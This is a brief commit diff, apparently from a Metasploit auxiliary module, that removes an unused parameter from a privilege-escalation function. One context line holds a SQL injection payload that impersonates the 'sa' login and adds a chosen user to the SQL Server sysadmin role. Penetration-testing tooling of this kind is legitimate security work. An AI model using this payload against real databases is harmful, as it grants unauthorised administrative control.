Removed imp_user var from escalate_privs func

bug/bundler_fix
Scott Sutherland 2015-03-15 22:02:12 -07:00
parent 5bebabb005
commit 00dbcc12ca
1 changed files with 1 additions and 1 deletions

View File

@ -190,7 +190,7 @@ class Metasploit3 < Msf::Auxiliary
end
# Attempt to escalate privileges
def escalate_privs(imp_user,db_user)
def escalate_privs(db_user)
# Setup Query - Impersonate the first sysadmin user on the list
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember '#{db_user}','sysadmin';Revert;--"